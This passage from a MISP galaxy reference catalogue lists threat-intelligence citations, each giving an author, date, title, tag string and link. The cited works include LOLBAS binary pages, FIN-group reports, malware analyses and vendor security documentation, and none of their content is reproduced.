LOLBAS. (2018, May 25). Extexport.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Extexport.exe - LOLBAS Project"*

Table 20641. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Extexport/

Extrac32.exe - LOLBAS Project

LOLBAS. (2018, May 25). Extrac32.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Extrac32.exe - LOLBAS Project"*

Table 20642. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Extrac32/

Journey into IR ZeroAccess NTFS EA

Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="Journey into IR ZeroAccess NTFS EA"*

Table 20643. Table References

Links
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html

Bizeul 2014

Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.

The tag is: *misp-galaxy:references="Bizeul 2014"*

Table 20644. Table References

Links
https://airbus-cyber-security.com/the-eye-of-the-tiger/

Facad1ng

Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="Facad1ng"*

Table 20645. Table References

Links
https://github.com/spyboy-productions/Facad1ng

ThreatPost Social Media Phishing

O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="ThreatPost Social Media Phishing"*

Table 20646. Table References

Links
https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/

Sentinel Labs

Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Sentinel Labs"*

Table 20647. Table References

Links
https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/

SentinelLabs reversing run-only applescripts 2021

Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.

The tag is: *misp-galaxy:references="SentinelLabs reversing run-only applescripts 2021"*

Table 20648. Table References

Links
https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/

BleepingComputer Fake Chrome Errors June 17 2024

Bill Toulas. (2024, June 17). Fake Google Chrome errors trick you into running malicious PowerShell scripts. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="BleepingComputer Fake Chrome Errors June 17 2024"*

Table 20649. Table References

Links
https://www.bleepingcomputer.com/news/security/fake-google-chrome-errors-trick-you-into-running-malicious-powershell-scripts/

ESET OceanLotus Mar 2019

Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.

The tag is: *misp-galaxy:references="ESET OceanLotus Mar 2019"*

Table 20650. Table References

Links
https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/

ReversingLabs September 10 2024

Karlo Zanki. (2024, September 10). Fake recruiter coding tests target devs with malicious Python packages. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="ReversingLabs September 10 2024"*

Table 20651. Table References

Links

https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages

ZScaler BitB 2020

ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="ZScaler BitB 2020"*

Table 20652. Table References

Links
https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials

FalconFeedsio Tweet October 9 2023

FalconFeedsio. (2023, October 9). FalconFeedsio Tweet October 9 2023. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="FalconFeedsio Tweet October 9 2023"*

Table 20653. Table References

Links
https://twitter.com/FalconFeedsio/status/1711251161289003465

FalconFeedsio Tweet September 28 2023

FalconFeedsio. (2023, September 28). FalconFeedsio Tweet September 28 2023. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="FalconFeedsio Tweet September 28 2023"*

Table 20654. Table References

Links
https://twitter.com/FalconFeedsio/status/1707330146842169831

falconoverwatch_blackcat_attack

Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.

The tag is: *misp-galaxy:references="falconoverwatch_blackcat_attack"*

Table 20655. Table References

Links
https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/

CitizenLab Tropic Trooper Aug 2018

Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019.

The tag is: *misp-galaxy:references="CitizenLab Tropic Trooper Aug 2018"*

Table 20656. Table References

Links
https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/

ESET FamousSparrow September 23 2021

Tahseen Bin Taj, Matthieu Faou. (2021, September 23). FamousSparrow: A suspicious hotel guest. Retrieved October 24, 2024.

The tag is: *misp-galaxy:references="ESET FamousSparrow September 23 2021"*

Table 20657. Table References

Links
https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/

CISA AA20-239A BeagleBoyz August 2020

DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="CISA AA20-239A BeagleBoyz August 2020"*

Table 20658. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa20-239a

Fast Flux - Welivesecurity

Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.

The tag is: *misp-galaxy:references="Fast Flux - Welivesecurity"*

Table 20659. Table References

Links
https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/

MehtaFastFluxPt1

Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="MehtaFastFluxPt1"*

Table 20660. Table References

Links
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref

MehtaFastFluxPt2

Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="MehtaFastFluxPt2"*

Table 20661. Table References

Links
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref

FBI-BEC

FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="FBI-BEC"*

Table 20662. Table References

Links
https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view

FBI Flash FIN7 USB

The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.

The tag is: *misp-galaxy:references="FBI Flash FIN7 USB"*

Table 20663. Table References

Links

https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/

BleepingComputer USB

Ionut Ilascu. (2020, March 27). FBI: Hackers Sending Malicious USB Drives & Teddy Bears via USPS. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="BleepingComputer USB"*

Table 20664. Table References

Links
https://www.bleepingcomputer.com/news/security/fbi-hackers-sending-malicious-usb-drives-and-teddy-bears-via-usps/

FBI Lazarus Stake.com Theft Attribution September 2023

FBI National Press Office. (2023, September 6). FBI Identifies Lazarus Group Cyber Actors as Responsible for Theft of $41 Million from Stake.com. Retrieved September 13, 2023.

The tag is: *misp-galaxy:references="FBI Lazarus Stake.com Theft Attribution September 2023"*

Table 20665. Table References

Links
https://www.fbi.gov/news/press-releases/fbi-identifies-lazarus-group-cyber-actors-as-responsible-for-theft-of-41-million-from-stakecom

VPNFilter Router

Tung, Liam. (2018, May 29). FBI to all router users: Reboot now to neuter Russia's VPNFilter malware. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="VPNFilter Router"*

Table 20666. Table References

Links
https://www.zdnet.com/article/fbi-to-all-router-users-reboot-now-to-neuter-russias-vpnfilter-malware/

Hakobyan 2009

Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Hakobyan 2009"*

Table 20667. Table References

Links
http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin

Google Federating GC

Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Google Federating GC"*

Table 20668. Table References

Links
https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction

Kaspersky Ferocious Kitten Jun 2021

GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Kaspersky Ferocious Kitten Jun 2021"*

Table 20669. Table References

Links
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

Fidelis njRAT June 2013

Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: "njRAT" Uncovered. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="Fidelis njRAT June 2013"*

Table 20670. Table References

Links
https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf

Fidelis INOCNATION

Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Fidelis INOCNATION"*

Table 20671. Table References

Links
https://fidelissecurity.com/resource/report/fidelis-threat-advisory-1020-dissecting-the-malware-involved-in-the-inocnation-campaign/

Securelist fileless attacks Feb 2017

Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.

The tag is: *misp-galaxy:references="Securelist fileless attacks Feb 2017"*

Table 20672. Table References

Links
https://securelist.com/fileless-attacks-against-enterprise-networks/77403/

Airbus Security Kovter Analysis

Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.

The tag is: *misp-galaxy:references="Airbus Security Kovter Analysis"*

Table 20673. Table References

Links
https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/

Sysdig Fileless Malware 23022

Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Sysdig Fileless Malware 23022"*

Table 20674. Table References

Links
https://sysdig.com/blog/containers-read-only-fileless-malware/

Microsoft Fileless

Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.

The tag is: *misp-galaxy:references="Microsoft Fileless"*

Table 20675. Table References

Links
https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats

enigma0x3 Fileless UAC Bypass

Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.

The tag is: *misp-galaxy:references="enigma0x3 Fileless UAC Bypass"*

Table 20676. Table References

Links
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

enigma0x3 sdclt bypass

Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.

The tag is: *misp-galaxy:references="enigma0x3 sdclt bypass"*

Table 20677. Table References

Links
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

Microsoft File Mgmt

Microsoft. (2018, May 31). File Management (Local File Systems). Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft File Mgmt"*

Table 20678. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/fileio/file-management

Microsoft File Streams

Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Microsoft File Streams"*

Table 20679. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams

file_upload_attacks_pt2

YesWeRHackers. (2021, June 16). File Upload Attacks (Part 2). Retrieved August 23, 2022.

The tag is: *misp-galaxy:references="file_upload_attacks_pt2"*

Table 20680. Table References

Links
https://blog.yeswehack.com/yeswerhackers/file-upload-attacks-part-2/

Microsoft GPO Security Filtering

Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.

The tag is: *misp-galaxy:references="Microsoft GPO Security Filtering"*

Table 20681. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo

FireEye FIN10 June 2017

FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye FIN10 June 2017"*

Table 20682. Table References

Links
https://services.google.com/fh/files/misc/rpt-fin-10-anatomy-of-a-cyber-en.pdf

Mandiant FIN12 Group Profile October 07 2021

Joshua Shilko, Zach Riddle, Jennifer Brooks, Genevieve Stark, Adam Brunner, Kimberly Goody, Jeremy Kennelly. (2021, October 7). FIN12 Group Profile. Retrieved September 22, 2023.

The tag is: *misp-galaxy:references="Mandiant FIN12 Group Profile October 07 2021"*

Table 20683. Table References

Links
https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf

Mandiant FIN12 Oct 2021

Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.

The tag is: *misp-galaxy:references="Mandiant FIN12 Oct 2021"*

Table 20684. Table References

Links
https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf

CERTFR-2023-CTI-007

CERT-FR. (2023, September 18). FIN12: Un Groupe Cybercriminel aux Multiples Rançongiciel. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="CERTFR-2023-CTI-007"*

Table 20685. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

Google Cloud Threat Intelligence FIN13 2021

Van Ta, Jake Nicastro, Rufus Brown, and Nick Richard. (2021, December 7). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Google Cloud Threat Intelligence FIN13 2021"*

Table 20686. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/fin13-cybercriminal-mexico/

Mandiant FIN13 Aug 2022

Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.

The tag is: *misp-galaxy:references="Mandiant FIN13 Aug 2022"*

Table 20687. Table References

Links
https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico

FireEye FIN4 Stealing Insider NOV 2014

Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye FIN4 Stealing Insider NOV 2014"*

Table 20688. Table References

Links
https://web.archive.org/web/20190508171649/https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html

Visa FIN6 Feb 2019

Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.

The tag is: *misp-galaxy:references="Visa FIN6 Feb 2019"*

Table 20689. Table References

Links
https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf

SentinelOne FrameworkPOS September 2019

Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020.

The tag is: *misp-galaxy:references="SentinelOne FrameworkPOS September 2019"*

Table 20690. Table References

Links
https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/

SecureList Griffon May 2019

Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019.

The tag is: *misp-galaxy:references="SecureList Griffon May 2019"*

Table 20691. Table References

Links

https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/

Threatpost Lizar May 2021

Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022.

The tag is: *misp-galaxy:references="Threatpost Lizar May 2021"*

Table 20692. Table References

Links
https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/

The Hacker News April 2 2025

The Hacker News. (2025, April 2). FIN7 Deploys Anubis Backdoor to Hijack Windows Systems via Compromised SharePoint Sites. Retrieved April 7, 2025.

The tag is: *misp-galaxy:references="The Hacker News April 2 2025"*

Table 20693. Table References

Links
https://thehackernews.com/2025/04/fin7-deploys-anubis-backdoor-to-hijack.html

FireEye FIN7 April 2017

Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.

The tag is: *misp-galaxy:references="FireEye FIN7 April 2017"*

Table 20694. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

The Hacker News March 7 2025

The Hacker News. (2025, March 7). FIN7, FIN8, and Others Use Ragnar Loader for Persistent Access and Ransomware Operations. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="The Hacker News March 7 2025"*

Table 20695. Table References

Links
https://thehackernews.com/2025/03/fin7-fin8-and-others-use-ragnar-loader.html

Mandiant FIN7 Apr 2022

Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.

The tag is: *misp-galaxy:references="Mandiant FIN7 Apr 2022"*

Table 20696. Table References

Links
https://www.mandiant.com/resources/evolution-of-fin7

Mandiant FIN7 April 4 2022

Bryce Abdo, Zander Work, Ioana Teaca, Brendan McKeague. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="Mandiant FIN7 April 4 2022"*

Table 20697. Table References

Links
https://www.mandiant.com/resources/blog/evolution-of-fin7

SentinelOne July 14 2024

Antonio Cocomazzi. (2024, July 14). FIN7 Reboot . Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="SentinelOne July 14 2024"*

Table 20698. Table References

Links
https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/

Gemini FIN7 Oct 2021

Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022.

The tag is: *misp-galaxy:references="Gemini FIN7 Oct 2021"*

Table 20699. Table References

Links
https://geminiadvisory.io/fin7-ransomware-bastion-secure/

Flashpoint FIN 7 March 2019

Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.

The tag is: *misp-galaxy:references="Flashpoint FIN 7 March 2019"*

Table 20700. Table References

Links
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/

FireEye FIN7 March 2017

Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.

The tag is: *misp-galaxy:references="FireEye FIN7 March 2017"*

Table 20701. Table References

Links
https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html

Morphisec FIN7 June 2017

Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.

The tag is: *misp-galaxy:references="Morphisec FIN7 June 2017"*

Table 20702. Table References

Links
http://blog.morphisec.com/fin7-attacks-restaurant-industry

Esentire 5 8 2024

Esentire Threat Response Unit. (2024, May 8). FIN7 Uses Trusted Brands and Sponsored Google Ads to Distribute MSIXâ€¦. Retrieved May 14, 2024.

The tag is: *misp-galaxy:references="Esentire 5 8 2024"*

Table 20703. Table References

Links

https://www.esentire.com/blog/fin7-uses-trusted-brands-and-sponsored-google-ads-to-distribute-msix-payloads

CyberScoop FIN7 Oct 2017

Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="CyberScoop FIN7 Oct 2017"*

Table 20704. Table References

Links
https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/

BitDefender BADHATCH Mar 2021

Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.

The tag is: *misp-galaxy:references="BitDefender BADHATCH Mar 2021"*

Table 20705. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf

Bitdefender FIN8 BADHATCH Report

Bitdefender. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved October 30, 2023.

The tag is: *misp-galaxy:references="Bitdefender FIN8 BADHATCH Report"*

Table 20706. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf

Bitdefender Sardonic Aug 2021

Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.

The tag is: *misp-galaxy:references="Bitdefender Sardonic Aug 2021"*

Table 20707. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf

Symantec FIN8 Jul 2023

Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.

The tag is: *misp-galaxy:references="Symantec FIN8 Jul 2023"*

Table 20708. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor

Elastic FINALDRAFT February 12 2025

Cyril François, Jia Yu Chan, Salim Bitam, Daniel Stepanic. (2025, February 12). FINALDRAFT Hides in Your Drafts. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="Elastic FINALDRAFT February 12 2025"*

Table 20709. Table References

Links
https://www.elastic.co/security-labs/finaldraft

DiginotarCompromise

Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="DiginotarCompromise"*

Table 20710. Table References

Links
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/

FireEye Financial Actors Moving into OT

Brubaker, N. Zafra, D. K. Lunden, K. Proska, K. Hildebrandt, C.. (2020, July 15). Financially Motivated Actors Are Expanding Access Into OT: Analysis of Kill Lists That Include OT Processes Used With Seven Malware Families. Retrieved February 15, 2021.

The tag is: *misp-galaxy:references="FireEye Financial Actors Moving into OT"*

Table 20711. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

MITRECND FindAPIHash

Jason (jxb5151). (2021, January 28). findapihash.py. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="MITRECND FindAPIHash"*

Table 20712. Table References

Links
https://github.com/MITRECND/malchive/blob/main/malchive/utilities/findapihash.py

Expel IO Evil in AWS

1. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="Expel IO Evil in AWS"*

Table 20713. Table References

Links
https://expel.io/blog/finding-evil-in-aws/

Evil WMI

Chad Tilbury. (2023, May 22). Finding Evil WMI Event Consumers with Disk Forensics. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="Evil WMI"*

Table 20714. Table References

Links
https://www.sans.org/blog/finding-evil-wmi-event-consumers-with-disk-forensics/

SANS Decrypting SSL

Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.

The tag is: *misp-galaxy:references="SANS Decrypting SSL"*

Table 20715. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840

ADSecurity Finding Passwords in SYSVOL

Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.

The tag is: *misp-galaxy:references="ADSecurity Finding Passwords in SYSVOL"*

Table 20716. Table References

Links
https://adsecurity.org/?p=2288

Findstr.exe - LOLBAS Project

LOLBAS. (2018, May 25). Findstr.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Findstr.exe - LOLBAS Project"*

Table 20717. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Findstr/

FinFisher Citation

FinFisher. (n.d.). Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="FinFisher Citation"*

Table 20718. Table References

Links
https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html

Microsoft FinFisher March 2018

Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher's tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.

The tag is: *misp-galaxy:references="Microsoft FinFisher March 2018"*

Table 20719. Table References

Links
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

FinFisher exposed

Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher's tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.

The tag is: *misp-galaxy:references="FinFisher exposed"*

Table 20720. Table References

Links
https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

Finger.exe - LOLBAS Project

LOLBAS. (2021, August 30). Finger.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Finger.exe - LOLBAS Project"*

Table 20721. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Finger/

FireEye Cyber Threats to Media Industries

FireEye. (n.d.). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Cyber Threats to Media Industries"*

Table 20722. Table References

Links
https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf

FireEye DLL Side-Loading

Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="FireEye DLL Side-Loading"*

Table 20723. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

FireEye Shamoon Nov 2016

FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Shamoon Nov 2016"*

Table 20724. Table References

Links
https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html

FireEye Ryuk and Trickbot January 2019

Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.

The tag is: *misp-galaxy:references="FireEye Ryuk and Trickbot January 2019"*

Table 20725. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html

DarkReading FireEye SolarWinds

Kelly Jackson Higgins. (2021, January 7). FireEye’s Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.

The tag is: *misp-galaxy:references="DarkReading FireEye SolarWinds"*

Table 20726. Table References

Links
https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack

FireEye FinSpy Sept 2017

Jiang, G., et al. (2017, September 12). FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="FireEye FinSpy Sept 2017"*

Table 20727. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html

RiskIQ Cobalt Jan 2018

Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.

The tag is: *misp-galaxy:references="RiskIQ Cobalt Jan 2018"*

Table 20728. Table References

Links
https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/

Chrome Extension Crypto Miner

Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Chrome Extension Crypto Miner"*

Table 20729. Table References

Links
https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/

Aquasec Kubernetes Backdoor 2023

Michael Katchinskiy and Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Aquasec Kubernetes Backdoor 2023"*

Table 20730. Table References

Links
https://www.aquasec.com/blog/leveraging-kubernetes-rbac-to-backdoor-clusters/

Aquasec Kubernetes Attack 2023

Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.

The tag is: *misp-galaxy:references="Aquasec Kubernetes Attack 2023"*

Table 20731. Table References

Links
https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters

ESET-Twitoor

ESET. (2016, August 24). First Twitter-controlled Android botnet discovered. Retrieved December 22, 2016.

The tag is: *misp-galaxy:references="ESET-Twitoor"*

Table 20732. Table References

Links
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/

Microsoft Azure AD Admin Consent

Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019.

